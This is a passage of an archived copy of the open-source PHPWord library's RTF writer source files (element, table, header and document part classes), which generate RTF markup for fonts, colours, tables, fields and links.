 * @since 0.11.0
 */
abstract class AbstractElement
{
    /**
     * Parent writer.
     *
     * @var WriterRTF
     */
    protected $parentWriter;

    /**
     * Element.
     *
     * @var \PhpOffice\PhpWord\Element\AbstractElement
     */
    protected $element;

    /**
     * Without paragraph.
     *
     * @var bool
     */
    protected $withoutP = false;

    /**
     * Write element.
     *
     * @return string
     */
    abstract public function write();

    /**
     * Font style.
     *
     * @var \PhpOffice\PhpWord\Style\Font
     */
    protected $fontStyle;

    /**
     * Paragraph style.
     *
     * @var \PhpOffice\PhpWord\Style\Paragraph
     */
    protected $paragraphStyle;

    /**
     * @var \PhpOffice\PhpWord\Escaper\EscaperInterface
     */
    protected $escaper;

    public function __construct(WriterRTF $parentWriter, Element $element, bool $withoutP = false)
    {
        $this->parentWriter = $parentWriter;
        $this->element = $element;
        $this->withoutP = $withoutP;
        $this->escaper = new Rtf();
    }

    /**
     * Get font and paragraph styles.
     */
    protected function getStyles(): void
    {
        /** @var \PhpOffice\PhpWord\Writer\RTF $parentWriter Type hint */
        $parentWriter = $this->parentWriter;

        /** @var \PhpOffice\PhpWord\Element\Text $element Type hint */
        $element = $this->element;

        // Font style
        if (method_exists($element, 'getFontStyle')) {
            $this->fontStyle = $element->getFontStyle();
            if (is_string($this->fontStyle)) {
                $this->fontStyle = Style::getStyle($this->fontStyle);
            }
        }

        // Paragraph style
        if (method_exists($element, 'getParagraphStyle')) {
            $this->paragraphStyle = $element->getParagraphStyle();
            if (is_string($this->paragraphStyle)) {
                $this->paragraphStyle = Style::getStyle($this->paragraphStyle);
            }

            if ($this->paragraphStyle !== null && !$this->withoutP) {
                if ($parentWriter->getLastParagraphStyle() != $element->getParagraphStyle()) {
                    $parentWriter->setLastParagraphStyle($element->getParagraphStyle());
                } else {
                    $parentWriter->setLastParagraphStyle();
                    $this->paragraphStyle = null;
                }
            } else {
                $parentWriter->setLastParagraphStyle();
                $this->paragraphStyle = null;
            }
        }
    }

    /**
     * Write opening.
     *
     * @return string
     */
    protected function writeOpening()
    {
        if ($this->withoutP || !$this->paragraphStyle instanceof ParagraphStyle) {
            return '';
        }

        $styleWriter = new ParagraphStyleWriter($this->paragraphStyle);
        $styleWriter->setNestedLevel($this->element->getNestedLevel());

        return $styleWriter->write();
    }

    /**
     * Write text.
     *
     * @param string $text
     *
     * @return string
     */
    protected function writeText($text)
    {
        if (Settings::isOutputEscapingEnabled()) {
            return $this->escaper->escape($text);
        }

        return SharedText::toUnicode($text); // todo: replace with `return $text;` later.
    }

    /**
     * Write closing.
     *
     * @return string
     */
    protected function writeClosing()
    {
        if ($this->withoutP) {
            return '';
        }

        return '\par' . PHP_EOL;
    }

    /**
     * Write font style.
     *
     * @return string
     */
    protected function writeFontStyle()
    {
        if (!$this->fontStyle instanceof FontStyle) {
            return '';
        }

        /** @var \PhpOffice\PhpWord\Writer\RTF $parentWriter Type hint */
        $parentWriter = $this->parentWriter;

        // Create style writer and set color/name index
        $styleWriter = new FontStyleWriter($this->fontStyle);
        if ($this->fontStyle->getColor() != null) {
            $colorIndex = array_search($this->fontStyle->getColor(), $parentWriter->getColorTable());
            if ($colorIndex !== false) {
                $styleWriter->setColorIndex($colorIndex + 1);
            }
        }
        if ($this->fontStyle->getName() != null) {
            $fontIndex = array_search($this->fontStyle->getName(), $parentWriter->getFontTable());
            if ($fontIndex !== false) {
                $styleWriter->setNameIndex($fontIndex);
            }
        }

        // Write style
        $content = $styleWriter->write();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Field.php000066600000004640151150442730020707 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

use PhpOffice\PhpWord\Element\Field as ElementField;

/**
 * Field element writer.
 *
 * Note: for now, only date, page, numpages and filename fields are implemented for RTF.
 */
class Field extends Text
{
    /**
     * Write field element.
     */
    public function write()
    {
        $element = $this->element;
        if (!$element instanceof ElementField) {
            return;
        }

        $this->getStyles();

        $content = '';
        $content .= $this->writeOpening();
        $content .= '{';
        $content .= $this->writeFontStyle();

        $methodName = 'write' . ucfirst(strtolower($element->getType()));
        if (!method_exists($this, $methodName)) {
            // Unsupported field
            $content .= '';
        } else {
            $content .= '\\field{\\*\\fldinst ';
            $content .= $this->$methodName($element);
            $content .= '}{\\fldrslt}';
        }
        $content .= '}';
        $content .= $this->writeClosing();

        return $content;
    }

    protected function writePage()
    {
        return 'PAGE';
    }

    protected function writeNumpages()
    {
        return 'NUMPAGES';
    }

    protected function writeFilename(ElementField $element): string
    {
        $content = 'FILENAME';
        $options = $element->getOptions();
        if ($options != null && in_array('Path', $options)) {
            $content .= ' \\\\p';
        }

        return $content;
    }

    protected function writeDate(ElementField $element)
    {
        $content = '';
        $content .= 'DATE';
        $properties = $element->getProperties();
        if (isset($properties['dateformat'])) {
            $content .= ' \\\\@ "' . $properties['dateformat'] . '"';
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Link.php000066600000002567151150442730020567 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * Link element RTF writer.
 *
 * @since 0.11.0
 */
class Link extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Link) {
            return '';
        }

        $this->getStyles();

        $content = '';
        $content .= $this->writeOpening();
        $content .= '{\field {\*\fldinst {HYPERLINK "' . $this->element->getSource() . '"}}{\\fldrslt {';
        $content .= $this->writeFontStyle();
        $content .= $this->writeText($this->element->getText());
        $content .= '}}}';
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Table.php000066600000020362151150442730020712 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

use PhpOffice\PhpWord\Element\Cell as CellElement;
use PhpOffice\PhpWord\Element\Row as RowElement;
use PhpOffice\PhpWord\Element\Table as TableElement;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\SimpleType\Border;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Cell as CellStyle;
use PhpOffice\PhpWord\Style\Table as TableStyle;

/**
 * Table element RTF writer.
 *
 * @since 0.11.0
 */
class Table extends AbstractElement
{
    /**
     * @var TableElement
     */
    protected $element;

    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof TableElement) {
            return '';
        }
        $element = $this->element;
        // No nesting table for now
        if ($element->getNestedLevel() >= 1) {
            return '';
        }

        $content = '';
        $style = $this->element->getStyle();
        $bidiStyle = (is_object($style) && method_exists($style, 'isBidiVisual')) ? $style->isBidiVisual() : Settings::isDefaultRtl();
        $bidi = $bidiStyle ? '\rtlrow' : '';
        $rows = $element->getRows();
        $rowCount = count($rows);

        if ($rowCount > 0) {
            $content .= '\pard' . PHP_EOL;

            for ($i = 0; $i < $rowCount; ++$i) {
                $content .= "\\trowd$bidi ";
                $content .= $this->writeRowDef($rows[$i]);
                $content .= PHP_EOL;
                $content .= $this->writeRow($rows[$i]);
                $content .= '\row' . PHP_EOL;
            }
            $content .= '\pard' . PHP_EOL;
        }

        return $content;
    }

    /**
     * Write column.
     *
     * @return string
     */
    private function writeRowDef(RowElement $row)
    {
        $content = '';
        $tableStyle = $this->element->getStyle();
        if (is_string($tableStyle)) {
            $tableStyle = Style::getStyle($tableStyle);
            if (!($tableStyle instanceof TableStyle)) {
                $tableStyle = null;
            }
        }

        $rightMargin = 0;
        foreach ($row->getCells() as $cell) {
            $content .= $this->writeCellStyle($cell->getStyle(), $tableStyle);

            $width = $cell->getWidth();
            $vMerge = $this->getVMerge($cell->getStyle()->getVMerge());
            if ($width === null) {
                $width = 720; // Arbitrary default width
            }
            $rightMargin += $width;
            $content .= "{$vMerge}\\cellx{$rightMargin} ";
        }

        return $content;
    }

    /**
     * Write row.
     *
     * @return string
     */
    private function writeRow(RowElement $row)
    {
        $content = '';

        // Write cells
        foreach ($row->getCells() as $cell) {
            $content .= $this->writeCell($cell);
        }

        return $content;
    }

    /**
     * Write cell.
     *
     * @return string
     */
    private function writeCell(CellElement $cell)
    {
        $content = '\intbl' . PHP_EOL;

        // Write content
        $writer = new Container($this->parentWriter, $cell);
        $content .= $writer->write();

        $content .= '\cell' . PHP_EOL;

        return $content;
    }

    private function writeCellStyle(CellStyle $cell, ?TableStyle $table): string
    {
        $content = $this->writeCellBorder(
            't',
            $cell->getBorderTopStyle() ?: ($table ? $table->getBorderTopStyle() : null),
            (int) round($cell->getBorderTopSize() ?: ($table ? ($table->getBorderTopSize() ?: 0) : 0)),
            $cell->getBorderTopColor() ?? ($table ? $table->getBorderTopColor() : null)
        );
        $content .= $this->writeCellBorder(
            'l',
            $cell->getBorderLeftStyle() ?: ($table ? $table->getBorderLeftStyle() : null),
            (int) round($cell->getBorderLeftSize() ?: ($table ? ($table->getBorderLeftSize() ?: 0) : 0)),
            $cell->getBorderLeftColor() ?? ($table ? $table->getBorderLeftColor() : null)
        );
        $content .= $this->writeCellBorder(
            'b',
            $cell->getBorderBottomStyle() ?: ($table ? $table->getBorderBottomStyle() : null),
            (int) round($cell->getBorderBottomSize() ?: ($table ? ($table->getBorderBottomSize() ?: 0) : 0)),
            $cell->getBorderBottomColor() ?? ($table ? $table->getBorderBottomColor() : null)
        );
        $content .= $this->writeCellBorder(
            'r',
            $cell->getBorderRightStyle() ?: ($table ? $table->getBorderRightStyle() : null),
            (int) round($cell->getBorderRightSize() ?: ($table ? ($table->getBorderRightSize() ?: 0) : 0)),
            $cell->getBorderRightColor() ?? ($table ? $table->getBorderRightColor() : null)
        );

        return $content;
    }

    private function writeCellBorder(string $prefix, ?string $borderStyle, int $borderSize, ?string $borderColor): string
    {
        if ($borderSize == 0) {
            return '';
        }

        $content = '\clbrdr' . $prefix;
        /**
         * \brdrs 	Single-thickness border.
         * \brdrth 	Double-thickness border.
         * \brdrsh 	Shadowed border.
         * \brdrdb 	Double border.
         * \brdrdot 	Dotted border.
         * \brdrdash 	Dashed border.
         * \brdrhair 	Hairline border.
         * \brdrinset 	Inset border.
         * \brdrdashsm 	Dash border (small).
         * \brdrdashd 	Dot dash border.
         * \brdrdashdd 	Dot dot dash border.
         * \brdroutset 	Outset border.
         * \brdrtriple 	Triple border.
         * \brdrtnthsg 	Thick thin border (small).
         * \brdrthtnsg 	Thin thick border (small).
         * \brdrtnthtnsg 	Thin thick thin border (small).
         * \brdrtnthmg 	Thick thin border (medium).
         * \brdrthtnmg 	Thin thick border (medium).
         * \brdrtnthtnmg 	Thin thick thin border (medium).
         * \brdrtnthlg 	Thick thin border (large).
         * \brdrthtnlg 	Thin thick border (large).
         * \brdrtnthtnlg 	Thin thick thin border (large).
         * \brdrwavy 	Wavy border.
         * \brdrwavydb 	Double wavy border.
         * \brdrdashdotstr 	Striped border.
         * \brdremboss 	Emboss border.
         * \brdrengrave 	Engrave border.
         */
        switch ($borderStyle) {
            case Border::DOTTED:
                $content .= '\brdrdot';

                break;
            case Border::SINGLE:
            default:
                $content .= '\brdrs';

                break;
        }

        // \brdrwN 	N is the width in twips (1/20 pt) of the pen used to draw the paragraph border line.
        //          N cannot be greater than 75.
        //          To obtain a larger border width, the \brdth control word can be used to obtain a width double that of N.
        // $borderSize is in eights of a point, i.e. 4 / 8 = .5pt
        // 1/20 pt => 1/8 / 2.5
        $content .= '\brdrw' . (int) ($borderSize / 2.5);

        // \brdrcfN 	N is the color of the paragraph border, specified as an index into the color table in the RTF header.
        $colorIndex = 0;
        $index = array_search($borderColor, $this->parentWriter->getColorTable());
        if ($index !== false) {
            $colorIndex = (int) $index + 1;
        }
        $content .= '\brdrcf' . $colorIndex;
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Get vertical merge style.
     *
     * @param string $value
     *
     * @return string
     *
     * @todo Move to style
     */
    private function getVMerge($value)
    {
        $style = '';
        if ($value == 'restart') {
            $style = '\clvmgf';
        } elseif ($value == 'continue') {
            $style = '\clvmrg';
        }

        return $style;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Text.php000066600000002734151150442730020612 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * Text element RTF writer.
 *
 * @since 0.10.0
 */
class Text extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        /** @var \PhpOffice\PhpWord\Element\Text $element Type hint */
        $element = $this->element;
        $elementClass = str_replace('\\Writer\\RTF', '', static::class);
        if (!$element instanceof $elementClass || !is_string($element->getText())) {
            return '';
        }

        $this->getStyles();

        $content = '';
        $content .= $this->writeOpening();
        $content .= '{';
        $content .= $this->writeFontStyle();
        $content .= $this->writeText($element->getText());
        $content .= '}';
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Container.php000066600000003752151150442730021611 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

use PhpOffice\PhpWord\Element\AbstractContainer as ContainerElement;

/**
 * Container element RTF writer.
 *
 * @since 0.11.0
 */
class Container extends AbstractElement
{
    /**
     * Namespace; Can't use __NAMESPACE__ in inherited class (RTF).
     *
     * @var string
     */
    protected $namespace = 'PhpOffice\\PhpWord\\Writer\\RTF\\Element';

    /**
     * Write container.
     *
     * @return string
     */
    public function write()
    {
        $container = $this->element;
        if (!$container instanceof ContainerElement) {
            return '';
        }
        $containerClass = substr(get_class($container), strrpos(get_class($container), '\\') + 1);
        $withoutP = in_array($containerClass, ['TextRun', 'Footnote', 'Endnote']) ? true : false;
        $content = '';

        $elements = $container->getElements();
        foreach ($elements as $element) {
            $elementClass = get_class($element);
            $writerClass = str_replace('PhpOffice\\PhpWord\\Element', $this->namespace, $elementClass);
            if (class_exists($writerClass)) {
                /** @var AbstractElement $writer Type hint */
                $writer = new $writerClass($this->parentWriter, $element, $withoutP);
                $content .= $writer->write();
            }
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Title.php000066600000005645151150442730020753 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * Title element RTF writer; extends from text.
 *
 * @since 0.11.0
 */
class Title extends Text
{
    protected function getStyles(): void
    {
        /** @var \PhpOffice\PhpWord\Element\Title $element Type hint */
        $element = $this->element;
        $style = $element->getStyle();
        $style = str_replace('Heading', 'Heading_', $style ?? '');
        $style = \PhpOffice\PhpWord\Style::getStyle($style);
        if ($style instanceof \PhpOffice\PhpWord\Style\Font) {
            $this->fontStyle = $style;
            $pstyle = $style->getParagraph();
            if ($pstyle instanceof \PhpOffice\PhpWord\Style\Paragraph && $pstyle->hasPageBreakBefore()) {
                $sect = $element->getParent();
                if ($sect instanceof \PhpOffice\PhpWord\Element\Section) {
                    $elems = $sect->getElements();
                    if ($elems[0] === $element) {
                        $pstyle = clone $pstyle;
                        $pstyle->setPageBreakBefore(false);
                    }
                }
            }
            $this->paragraphStyle = $pstyle;
        }
    }

    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        /** @var \PhpOffice\PhpWord\Element\Title $element Type hint */
        $element = $this->element;
        $elementClass = str_replace('\\Writer\\RTF', '', static::class);
        if (!$element instanceof $elementClass || !is_string($element->getText())) {
            return '';
        }

        $this->getStyles();

        $content = '';

        $content .= $this->writeOpening();
        $endout = '';
        $style = $element->getStyle();
        if (is_string($style)) {
            $style = str_replace('Heading', '', $style);
            if ("$style" !== '') {
                $style = (int) $style - 1;
                if ($style >= 0 && $style <= 8) {
                    $content .= '{\\outlinelevel' . $style;
                    $endout = '}';
                }
            }
        }

        $content .= '{';
        $content .= $this->writeFontStyle();
        $content .= $this->writeText($element->getText());
        $content .= '}';
        $content .= $this->writeClosing();
        $content .= $endout;

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/PageBreak.php000066600000001640151150442730021502 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * PageBreak element RTF writer.
 *
 * @since 0.11.0
 */
class PageBreak extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        return '\page' . PHP_EOL;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/TextBreak.php000066600000002114151150442730021547 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * TextBreak element RTF writer.
 *
 * @since 0.10.0
 */
class TextBreak extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        /** @var \PhpOffice\PhpWord\Writer\RTF $parentWriter Type hint */
        $parentWriter = $this->parentWriter;
        $parentWriter->setLastParagraphStyle();

        return '\pard\par' . PHP_EOL;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/Image.php000066600000003176151150442730020711 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

use PhpOffice\PhpWord\Element\Image as ImageElement;
use PhpOffice\PhpWord\Shared\Converter;

/**
 * Image element RTF writer.
 *
 * @since 0.11.0
 */
class Image extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof ImageElement) {
            return '';
        }

        $this->getStyles();
        $style = $this->element->getStyle();

        $content = '';
        $content .= $this->writeOpening();
        $content .= '{\*\shppict {\pict';
        $content .= '\pngblip\picscalex100\picscaley100';
        $content .= '\picwgoal' . round(Converter::pixelToTwip($style->getWidth()));
        $content .= '\pichgoal' . round(Converter::pixelToTwip($style->getHeight()));
        $content .= PHP_EOL;
        $content .= $this->element->getImageStringData();
        $content .= '}}';
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Part/Header.php000066600000014611151150442730020370 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Part;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Table;

/**
 * RTF header part writer.
 *
 * - Character set
 * - Font table
 * - File table (not supported yet)
 * - Color table
 * - Style sheet (not supported yet)
 * - List table (not supported yet)
 *
 * @since 0.11.0
 * @see  http://www.biblioscape.com/rtf15_spec.htm#Heading6
 */
class Header extends AbstractPart
{
    /**
     * Font table.
     *
     * @var array
     */
    private $fontTable = [];

    /**
     * Color table.
     *
     * @var array
     */
    private $colorTable = [];

    /**
     * Get font table.
     *
     * @return array
     */
    public function getFontTable()
    {
        return $this->fontTable;
    }

    /**
     * Get color table.
     *
     * @return array
     */
    public function getColorTable()
    {
        return $this->colorTable;
    }

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $this->registerFont();

        $content = '';

        $content .= $this->writeCharset();
        $content .= $this->writeDefaults();
        $content .= $this->writeFontTable();
        $content .= $this->writeColorTable();
        $content .= $this->writeGenerator();
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write character set.
     *
     * @return string
     */
    private function writeCharset()
    {
        $content = '';

        $content .= '\ansi';
        $content .= '\ansicpg1252';
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write header defaults.
     *
     * @return string
     */
    private function writeDefaults()
    {
        $content = '';

        $content .= '\deff0';
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write font table.
     *
     * @return string
     */
    private function writeFontTable()
    {
        $content = '';

        $content .= '{';
        $content .= '\fonttbl';
        foreach ($this->fontTable as $index => $font) {
            $content .= "{\\f{$index}\\fnil\\fcharset0 {$font};}";
        }
        $content .= '}';
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write color table.
     *
     * @return string
     */
    private function writeColorTable()
    {
        $content = '';

        $content .= '{';
        $content .= '\colortbl;';
        foreach ($this->colorTable as $color) {
            [$red, $green, $blue] = Converter::htmlToRgb($color);
            $content .= "\\red{$red}\\green{$green}\\blue{$blue};";
        }
        $content .= '}';
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write.
     *
     * @return string
     */
    private function writeGenerator()
    {
        $content = '';

        $content .= '{\*\generator PHPWord;}'; // Set the generator
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Register all fonts and colors in both named and inline styles to appropriate header table.
     */
    private function registerFont(): void
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $this->fontTable[] = Settings::getDefaultFontName();

        // Search named styles
        $styles = Style::getStyles();
        foreach ($styles as $style) {
            $this->registerFontItems($style);
        }

        // Search inline styles
        $sections = $phpWord->getSections();
        foreach ($sections as $section) {
            $elements = $section->getElements();
            $this->registerBorderColor($section->getStyle());
            foreach ($elements as $element) {
                if (method_exists($element, 'getFontStyle')) {
                    $style = $element->getFontStyle();
                    $this->registerFontItems($style);
                }
            }
        }
    }

    /**
     * Register border colors.
     *
     * @param \PhpOffice\PhpWord\Style\Border $style
     */
    private function registerBorderColor($style): void
    {
        $colors = $style->getBorderColor();
        foreach ($colors as $color) {
            if ($color !== null) {
                $this->registerTableItem($this->colorTable, $color);
            }
        }
    }

    /**
     * Register fonts and colors.
     *
     * @param \PhpOffice\PhpWord\Style\AbstractStyle $style
     */
    private function registerFontItems($style): void
    {
        $defaultFont = Settings::getDefaultFontName();
        $defaultColor = Settings::DEFAULT_FONT_COLOR;

        if ($style instanceof Font) {
            $this->registerTableItem($this->fontTable, $style->getName(), $defaultFont);
            $this->registerTableItem($this->colorTable, $style->getColor(), $defaultColor);
            $this->registerTableItem($this->colorTable, $style->getFgColor(), $defaultColor);

            return;
        }
        if ($style instanceof Table) {
            $this->registerTableItem($this->colorTable, $style->getBorderTopColor(), $defaultColor);
            $this->registerTableItem($this->colorTable, $style->getBorderRightColor(), $defaultColor);
            $this->registerTableItem($this->colorTable, $style->getBorderLeftColor(), $defaultColor);
            $this->registerTableItem($this->colorTable, $style->getBorderBottomColor(), $defaultColor);
        }
    }

    /**
     * Register individual font and color.
     *
     * @param array &$table
     * @param string $value
     * @param string $default
     */
    private function registerTableItem(&$table, $value, $default = null): void
    {
        if (in_array($value, $table) === false && $value !== null && $value != $default) {
            $table[] = $value;
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Part/AbstractPart.php000066600000003207151150442730021571 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Part;

use PhpOffice\PhpWord\Escaper\Rtf;
use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Writer\AbstractWriter;

/**
 * @since 0.11.0
 */
abstract class AbstractPart
{
    /**
     * @var \PhpOffice\PhpWord\Writer\RTF
     */
    private $parentWriter;

    /**
     * @var \PhpOffice\PhpWord\Escaper\EscaperInterface
     */
    protected $escaper;

    public function __construct()
    {
        $this->escaper = new Rtf();
    }

    /**
     * @return string
     */
    abstract public function write();

    /**
     * @param \PhpOffice\PhpWord\Writer\RTF $writer
     */
    public function setParentWriter(?AbstractWriter $writer = null): void
    {
        $this->parentWriter = $writer;
    }

    /**
     * @return \PhpOffice\PhpWord\Writer\RTF
     */
    public function getParentWriter()
    {
        if ($this->parentWriter !== null) {
            return $this->parentWriter;
        }

        throw new Exception('No parent WriterInterface assigned.');
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Part/Document.php000066600000017432151150442730020762 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Part;

use PhpOffice\PhpWord\Element\Footer;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Writer\RTF\Element\Container;
use PhpOffice\PhpWord\Writer\RTF\Style\Section as SectionStyleWriter;

/**
 * RTF document part writer.
 *
 * @since 0.11.0
 * @see  http://www.biblioscape.com/rtf15_spec.htm#Heading24
 */
class Document extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $content = '';

        $content .= $this->writeInfo();
        $content .= $this->writeFormatting();
        $content .= $this->writeSections();

        return $content;
    }

    /**
     * Write document information.
     *
     * @return string
     */
    private function writeInfo()
    {
        $docProps = $this->getParentWriter()->getPhpWord()->getDocInfo();
        $properties = ['title', 'subject', 'category', 'keywords', 'comment',
